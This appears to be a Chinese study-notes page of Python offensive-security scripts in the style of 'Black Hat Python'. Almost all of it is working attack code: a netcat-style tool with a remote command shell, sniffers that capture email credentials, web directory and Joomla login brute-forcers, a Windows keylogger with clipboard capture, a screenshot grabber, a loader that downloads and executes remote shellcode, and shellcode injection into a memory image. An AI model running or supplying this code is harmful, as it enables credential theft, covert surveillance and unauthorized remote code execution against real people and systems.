python环境:python+KaliLinux虚拟机+WingIDE
python网络编程(TCP客户端/UDP客户端-TCP客户端)-netcat(TCP/UDP连接)-TCP代理-Paramiko使用SSH
### 取代netcat ###
#!/usr/bin/python
#-*- coding:utf8 -*-
import sys, socket, getopt, threading, subprocess
# 定义一些全局变量
listen = False
command = False
upload = False
execute = “”
target = “”
upload_destination = “”
port = 0
def run_command(command):
# 删除字符串末尾的空格
command = command.rstrip()
# 运行命令并将输出放回
try:
output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
except:
output = “Failed to execute command.\r\n”
# 将输出发送
return output
def client_handler(client_socket):
global upload
global execute
global command
# 检查上传文件
if len(upload_destination):
# 读取所有的字符并写下目标
file_buffer = “”
# 持续读取数据直到没有符合的数据
while True:
data = client_socket.recv(1024)
if not data:
break
else:
file_buffer += data
try:
file_descriptor = open(upload_destination, “wb”)
file_descriptor.write(file_buffer)
file_descriptor.close()
client_socket.send(“Successfully saved file to %s\r\n” % upload_destination)
except:
client_socket.send(“Failed to save file to %s\r\n” % upload_destination)
# 检查命令执行
if len(execute):
# 运行命令
output = run_command(execute)
client_socket.send(output)
# 如果需要一个命令行shell,那么我们进入另一个循环
if command:
while True:
# 跳出一个窗口
client_socket.send(“<BHP:#>”)
cmd_buffer = “”
while “\n” not in cmd_buffer:
cmd_buffer += client_socket.recv(1024)
# 返回命令输出
response = run_command(cmd_buffer)
# 返回响应数据
client_socket.send(response)
def server_loop():
global target
# 如果没有定义目标,那我们监听所有接口
if not len(target):
target = “0.0.0.0”
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((target, port))
server.listen(5)
while True:
client_socket, addr = server.accept()
# 分拆一个线程处理新的客户端
client_thread = threading.Thread(target=client_handler, args=(client_socket,))
client_thread.start()
def client_sender(buffer):
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
# 连接到目标主机
client.connect((target, port))
if len(buffer):
client.send(buffer)
while True:
# 现在等待数据回传
recv_len = 1
response = “”
while recv_len:
data = client.recv(4096)
recv_len = len(data)
response += data
if recv_len < 4096:
break
print response
# 等待更多的输入
buffer = raw_input(“”)
buffer += “\n”
# 发送出去
client.send(buffer)
except:
print “[*] Exception! Exiting.”
#关闭连接
client.close()
def usage():
print “BHP Net Tool”
print “Usage: bhpnet.py -t target_host – p port”
print “-l –listen – listen on [host]:[port] for incoming connections”
print “-e –execute=file_to_run -execute the given file upon receiving a connection”
print “-c –command – initialize a commandshell”
print “-u –upload=destination – upon receiving connection upload a file and write to [destination]”
print “Examples:”
print “bhpnet.py -t 192.168.0.1 -p 5555 -l -c”
print “bhpnet.py -t 192.168.0.1 -p 5555 -l -u=c:\\target.exe”
print “bhpnet.py -t 192.168.0.1 -p 5555 -l -e=\”cat /etc/passwd\””
print “echo ‘ABCDEFGHI’ | python ./bhpnet.py -t 192.168.11.12 -p 135”
sys.exit(0)
def main():
global listen
global port
global execute
global command
global upload_destination
global target
if not len(sys.argv[1:]):
usage()
# 读取命令行选项,若没有该选项则显示用法
try:
opts, args = getopt.getopt(sys.argv[1:], “hle:t:p:cu:”,[“help”, “listen”, “execute”, “target”, “port”, “command”, “upload”])
except getopt.GetoptError as err:
print str(err)
usage()
for o,a in opts:
if o in (“-h”,”–help”):
usage()
elif o in (“-l”, “–listen”):
listen = True
elif o in (“-e”, “–execute”):
execute = a
elif o in (“-c”, “–commandshell”):
command = True
elif o in (“-u”, “–upload”):
upload_destination = a
elif o in (“-t”, “–target”):
target = a
elif o in (“-p”, “–port”):
port = int(a)
else:
assert False,”Unhandled Option”
#我们是进行监听还是仅从标准输入读取数据并发送数据?
if not listen and len(target) and port > 0:
# 从命令行读取内存数据
# 这里将阻塞,所以不再向标准输入发送数据时发送CTRL-D
buffer = sys.stdin.read()
# 发送数据
client_sender(buffer)
# 我们开始监听并准备上传文件,执行命令
# 放置一个反弹shell
# 取决于上面的命令行选项
if listen:
server_loop()
#调用main函数
main()
原始套接字和流量嗅探:解码ip/解码ICMP/udp主机存活扫描
### Windows和Linux上的包嗅探 ###
#-*- coding:utf8 -*-
import socket
import os
# 监听主机
host = “10.10.10.145”
# 创建原始套接字,然后绑定在公开接口上
if os.name == “nt”:
socket_protocol = socket.IPPROTO_IP
else:
socket_protocol = socket.IPPROTO_ICMP
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)
sniffer.bind((host, 0)) #端口为0
# 设置在捕获的数据包中包含IP头
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# 在Windows平台上,我们需要设置IOCTL以启用混杂模式
if os.name == “nt”:
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_NO)
# 读取单个数据包
print sniffer.recvfrom(65565)
# 在Windows平台上关闭混杂模式
if os.name == “nt”:
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
### 解码IP层 ###
#-*- coding:utf8 -*-
import socket
import os
import struct
from ctypes import *
host = “10.10.10.145” # 监听主机
# ip头定义
class IP(Structure):
_fields_ = [
(“ihl”, c_ubyte, 4), #ip head length:头长度
(“version”, c_ubyte, 4), #版本
(“tos”, c_ubyte), #服务类型
(“len”, c_ushort), #ip数据包总长度
(“id”, c_ushort), #标识符
(“offset”, c_ushort), #片偏移
(“ttl”, c_ubyte), #生存时间
(“protocol_num”, c_ubyte), #协议类型
(“sum”, c_ushort), #头部校验和
(“src”, c_ulong), #源ip地址
(“dst”, c_ulong) #目的ip地址
]
def __new__(self, socket_buffer=None):
return self.from_buffer_copy(socket_buffer)
def __init__(self, socket_buffer=None):
# 协议字段与协议名称的对应
self.protocol_map = {1:”ICMP”, 6:”TCP”, 17:”UDP”}
# 可读性更强的ip地址(转换32位打包的IPV4地址为IP地址的标准点号分隔字符串表示
self.src_address = socket.inet_ntoa(struct.pack(“<L”, self.src))
self.dst_address = socket.inet_ntoa(struct.pack(“<L”, self.dst))
# 协议类型
try:
self.protocol = self.protocol_map[self.protocol_num]
except:
self.protocol = str(self.protocol_num)
if os.name == “nt”:
socket_protocol = socket.IPPROTO_IP
else:
socket_protocol = socket.IPPROTO_ICMP
sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol)
sniffer.bind((host, 0)) #这里端口为0
# 设置在捕获的数据包中包含IP头
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
# 在Windows平台上,我们需要设置IOCTL以启用混杂模式
if os.name == “nt”:
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)
try:
while True:
# 读取数据包
raw_buffer = sniffer.recvfrom(65565)[0]
# 将缓冲区的前20个字节按IP头进行解析
ip_header = IP(raw_buffer[0:20])
# 输出协议和通信双方IP地址
print “Protocol: %s %s -> %s” % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)
# 处理CTRL-C
except KeyboardInterrupt:
# 如果运行再Windows上,关闭混杂模式
if os.name == “nt”:
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
Scapy(流量嗅探):窃取Email认证-ARP缓存投毒-处理PCAP文件(人脸识别)
sniff(filter=””,iface=”any”,prn=function,count=N) # iface嗅探的网卡、prn自动回调函数、count嗅探个数
### 获取Email认证 ###
#-*- coding:utf8 -*-
from scapy.all import *
# 定义数据包回调函数
def packet_callback(packet):
if packet[TCP].payload:
mail_packet = str(packet[TCP].payload)
if “user” in mail_packet.lower() or “pass” in mail_packet.lower():
print “[*] Server: %s” % packet[IP].dst
print “[*] %s” % packet[TCP].payload
# print packet.show()
# 开启嗅探器
#对常见电子邮件端口进行嗅探:110(POP3)、25(SMTP)、143(IMAP)
#store=0:不保留原始数据包,长时间嗅探的话不会暂用太多内存
sniff(filter=”tcp port 110 or tcp port 25 or tcp port 143″, prn=packet_callback, store=0)
web攻击:urllib2(套接字函数库)>>暴力破解Web应用目录和文件-暴力破解HTML表格认证
### 暴力破解Web应用目录和文件 ###
#-*- coding:utf8 -*-
import urllib,urllib2,threading,Queue
threads = 50
target_url = “http://testphp.vulnweb.com”
wordlist_file = “./all.txt”
resume = None #用于网络中断时延续上一个尝试的字符串
user_agent = “Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.80 Safari/537.36”
def built_wordlist(wordlist_file):
#读入字典文件
fd = open(wordlist_file, “rb”)
raw_words = fd.readlines()
fd.close()
found_resume = False
words = Queue.Queue()
for word in raw_words:
#删除字符串末尾的空格
word = word.rstrip()
#如果是延续上一次
if resume is not None:
if found_resume:
words.put(word)
else:
if word == resume:
found_resume = True
print “Resuming wordlist from: %s” % resume
else:
words.put(word)
return words
def dir_bruter(word_queue, extentsions=None):
while not word_queue.empty():
attempt = word_queue.get()
attempt_list = [] #用于储存要尝试的url
#检查是否有文件扩展名,如果没有就是我们要爆破路径,否则爆破文件
if “.” not in attempt:
attempt_list.append(“/%s/” % attempt)
else:
attempt_list.append(“/%s” % attempt)
#暴力破解扩展名
if extentsions:
for extentsion in extentsions:
attempt_list.append(“/%s%s” % (attempt, extentsion))
#迭代我们要尝试的文件列表
for brute in attempt_list:
#构造url
url = “%s%s” % (target_url, urllib.quote(brute))
#print url
try:
headers = {}
headers[‘User-Agent’] = user_agent
r = urllib2.Request(url, headers=headers)
response = urllib2.urlopen(r)
#print response.__dict__
if len(response.read()):
print “[%d] => %s” % (response.code, url)
except urllib2.URLError,e: #用e接收URLError的信息
# code属性存在,并且code不是404
if hasattr(e, ‘code’) and e.code != 404:
print “!!! %d => %s” % (e.code, url)
pass
word_queue = built_wordlist(wordlist_file)
extentsions = [“.php”, “.bak”, “.orig”,”.inc”]
#开启多线程扫描
for i in range(threads):
t = threading.Thread(target=dir_bruter, args=(word_queue, extentsions))
t.start()
### 暴力破解HTML表格认证 ###
#1.检索登录页面,接收所有返回的cookie
#2.从HTML中获取所有表单yuans
#3.在字典中设置需要猜测的用户名和密码
#4.发送HTTP POST数据包到登陆处理脚本,数据包含所有HTML表单元素值和cookie值
#5.测试是否登陆成功
#-*- coding:utf8 -*-
import urllib, urllib2, cookielib, threading, sys, Queue, HTMLParser
#设置
user_thread = 10
username =”giantbranch”
wordlist_file =”./mydict.txt”
resume = None
#特点目标设置
target_url = “http://192.168.1.105/Joomla/administrator/index.php”
target_post = “http://192.168.1.105/Joomla/administrator/index.php”
username_field = “username”
password_field = “passwd”
#登陆成功后,title里面就有下面的文字
success_check = “Administration – Control Panel”
class BruteParser(HTMLParser):
def __init__(self):
HTMLParser.__init__(self)
self.tag_results = {}
def handle_starttag(self, tag, attrs):
#判断是否是input标签
if tag == “input”:
tag_name = None
tag_value = None
for name,value in attrs:
#input标签里面不是有name,value,type等属性吗,这里只判断name和value
#不过我觉得第二个if是多余的
if name == “name”:
tag_name = value
if name == “value”:
tag_value = value
if tag_name is not None:
self.tag_results[tag_name] = value
class Bruter(object):
def __init__(self, username, words):
self.username = username
self.password_q = words
self.found = False
print “Finished setting up for %s” % username
def run_bruteforce(self):
for i in range(user_thread):
t = threading.Thread(target=self.web_bruter)
t.start()
def web_bruter(self):
while not self.password_q.empty() and not self.found:
#从字典获取密码,并去除右边的空格
brute = self.password_q.get().rstrip()
#使用FileCookieJar类,将cookie值储存到文件,参数为文件名,可用于存取cookie
jar = cookielib.FileCookieJar(“cookies”)
#用上面的jar初始化urllib2打开器,这样下面请求url时,就会把cookie值存到那个文件中
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
response =opener.open(target_url)
page = response.read()
print “Trying: %s : %s (%d left)” % (self.username, brute, self.password_q.qsize())
#解析隐藏区域(表单)
parser = BruteParser()
parser.feed(page)
#已经含有隐藏表单的键值
post_tags = parser.tag_results
#添加我们的用户名和密码区域
post_tags[username_field] = self.username
post_tags[password_field] = brute
#输出post的数据(键值)
# for key,value in post_tags.items():
# print key,’:’,value
#url编码post的数据,开始尝试登陆
login_data = urllib.urlencode(post_tags)
login_response =opener.open(target_post, login_data)
login_result = login_response.read()
# 判断是否登陆成功
if success_check in login_result:
#设置为True,让循环结束
self.found = True
print “[*] Bruteforce successful.”
print “[*] Username: %s” % username
print “[*] Password: %s” % brute
print “[*] Waiting for other threads to exit…”
def built_wordlist(wordlist_file):
#读入字典文件
fd = open(wordlist_file, “rb”)
raw_words = fd.readlines()
fd.close()
found_resume = False
words = Queue.Queue()
for word in raw_words:
#删除字符串末尾的空格
word = word.rstrip()
#如果是延续上一次
if resume is not None:
if found_resume:
words.put(word)
else:
if word == resume:
found_resume = True
print “Resuming wordlist from: %s” % resume
else:
words.put(word)
return words
#构造字典
words = built_wordlist(wordlist_file)
#初始化Bruter类
bruter_obj = Bruter(username, words)
#调用run_bruteforce函数
bruter_obj.run_bruteforce()
python实现木马:pyHook+pythoncom>>键盘记录(win32clipboard)-截取屏幕快照-shellcode执行
### 键盘记录 ###
#-*- coding:utf8 -*-
import pythoncom, pyHook, win32clipboard, ctypes
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
def get_current_process():
# 获取前台窗口句柄
hwnd = user32.GetForegroundWindow()
# 获得进程ID
pid = c_ulong(0)
user32.GetWindowThreadProcessId(hwnd, byref(pid))
# 保存当前进程ID
process_id = “%d” % pid.value
# 申请内存
executable = create_string_buffer(“\x00” * 512)
# 打开进程
h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
# 获取进程所对应的可执行文件的名字
psapi.GetModuleBaseNameA(h_process, None, byref(executable),512)
# 读取窗口标题
window_title = create_string_buffer(“\x00” * 512)
length = user32.GetWindowTextA(hwnd, byref(window_title), 512)
# 输出进程相关信息
print “[ PID: %s – %s – %s]” % (process_id, executable.value, window_title.value)
# 关闭句柄
kernel32.CloseHandle(hwnd)
kernel32.CloseHandle(h_process)
def keyStore(event):
global current_window
# 检查目标是否切换了窗口
if event.WindowName != current_window:
current_window = event.WindowName
get_current_process()
# 检测按键是否为常规按键(非组合键等)
if event.Ascii > 32 and event.Ascii < 127:
print chr(event.Ascii),
else:
# 若输入为[CTRL-V],则获取剪切板内容
if event.Key == “V”:
win32clipboard.OpenClipboard()
pasted_value = win32clipboard.GetClipboardData()
win32clipboard.CloseClipboard()
print “[PASTE] – %s” % (pasted_value),
else:
print “[%s]” % event.Key,
# 返回直到下一个钩子事件被触发
return True
# 创建和注册钩子函数管理器
k1 =pyHook.HookManager()
k1.KeyDown = keyStore
# 注册键盘记录的钩子,然后永久执行
k1.HookKeyboard()
pythoncom.PumpMessages()
### 截取屏幕快照 ###
#-*- coding:utf8 -*-
import win32gui, win32ui, win32con, win32api
# 获取窗口桌面的句柄
hdesktop = win32gui.GetDesktopWindow()
# 获得显示屏的像素尺寸
width = win32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN)
height = win32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN)
left = win32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN)
top = win32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN)
# 创建设备描述表
desktop_dc = win32gui.GetWindowDC(hdesktop)
img_dc = win32ui.CreateDCFromHandle(desktop_dc)
# 创建基于内存的设备描述表,用于储存我们捕获到的图片的数据,直到我们保存到文件
mem_dc = img_dc.CreateCompatibleDC()
# 创建位图对象
screenshot = win32ui.CreateBitmap()
screenshot.CreateCompatibleBitmap(img_dc, width, height)
mem_dc.SelectObject(screenshot)
# 复制屏幕到我们的内存设备描述表中
mem_dc.BitBlt((0,0), (width,height), img_dc, (left, top), win32con.SRCCOPY)
# 将位图保存到文件中
screenshot.SaveBitmapFile(mem_dc, “C:\\test.bmp”)
# 释放对象
mem_dc.DeleteDC()
win32gui.DeleteObject(screenshot.GetHandle())
### Python方式的shellcode执行 ###
#-*- coding:utf8 -*-
import urllib2, ctypes, base64
# 从搭建的服务器下下载shellcode
url = “http://10.10.10.128:8000/shellcode.bin”
response = urllib2.urlopen(url)
# 解码shellcode
shellcode = base64.b64decode(response.read())
# 申请内存空间
shellcode_buffer = ctypes.create_string_buffer(shellcode, len(shellcode))
# 创建shellcode的函数指针
shellcode_func = ctypes.cast(shellcode_buffer, ctypes.CFUNCTYPE(ctypes.c_void_p))
# 执行shellcode
shellcode_func()
### 直接代码注入 ###
#-*- coding:utf8 -*-
from immlib import *
class cc_hook(LogBpHook):
def __init__(self):
LogBpHook.__init__(self)
self.imm = Debugger()
def run(self, regs):
self.imm.log(“%08x” % regs[‘EIP’], regs[‘EIP’])
self.imm.deleteBreakpoint(regs[‘EIP’])
return
def main(args):
imm = Debugger()
calc = imm.getModule(“calc.exe”)
imm.analyseCode(calc.getCodebase())
functions = imm.getAllFunctions(calc.getCodebase())
hooker = cc_hook()
for function in functions:
hooker.add(“%08x” % function, function)
return “Tracking %d functions.” % len(functions)
#-*- coding:utf8 -*-
import sys, struct
equals_button = 0x01005D51
# 要分析的内存文件位置
memory_file = “D:\\Windows XP Professional-f6b49762.vmem”
slack_space = None
trampoline_offset = None
# 读入shellcode
sc_fd = open(“cmeasure.bin”, “rb”)
sc = sc_fd.read()
sc_fd.close()
sys.path.append(“D:\\volatility-2.3”)
import volatility.conf as conf
import volatility.registry as registry
registry.PluginImporter()
config = conf.ConfObject()
import volatility.commands as commands
import volatility.addrspace as addrspace
registry.register_global_options(config, commands.Command)
registry.register_global_options(config, addrspace.BaseAddressSpace)
config.parse_options()
config.PROFILE = “WinXPSP3x86”
config.LOCATION = “file://%s” % memory_file
import volatility.plugins.taskmods as taskmods
p = taskmods.PSList(config)
for process in p.calculate():
if str(process.ImageFileName) == “calc.exe”:
print “[*] Found calc.exe with PID %d” % process.UniqueProcessId
print “[*] Hunting for physical offsets…please wait.”
address_space = process.get_process_address_space()
pages = address_space.get_available_pages()
# page[0]:页面地址
# page[1]:页面大小
for page in pages:
physical = address_space.vtop(page[0])
if physical is not None:
fd = open(memory_file, “r+”)
fd.seek(physical)
buf = fd.read(page[1])
try:
offset = buf.index(“\x00” * len(sc))
slack_space = page[0] + offset
print “[*] Found good shellcode location!”
print “[*] Virtual address: 0x%08x” % slack_space
print “[*] Physical address: 0x%08x” % (physical + offset)
print “[*] Injecting shellcode.”
fd.seek(physical + offset)
fd.write(sc)
fd.flush()
# 创建我们的跳转代码
# 对应的汇编指令为:
# mov ebx, ADDRESS_OF_SHELLCODE( shellcode地址)
# jmp ebx
tramp = “\xbb%s” % struct.pack(“<L”, page[0] + offset)
tramp += “\xff\xe3”
if trampoline_offset is not None:
break
except:
pass
fd.close()
# 查看目标代码的位置
if page[0] <= equals_button and equals_button < (page[0] + page[1] -7):
print “[*] Found our trampoline target at: 0x%08x” % (physical)
# 计算虚拟偏移
v_offset = equals_button – page[0]
# 计算物理偏移
trampoline_offset = physical+ v_offset
print “[*] Found our trampoline target at: 0x%08x” % (trampoline_offset)
if slack_space is not None:
break
print “[*] Writing trampoline…”
fd = open(memory_file, “r+”)
fd.seek(trampoline_offset)
fd.write(tramp)
fd.close()
print “[*] Done injecting code.”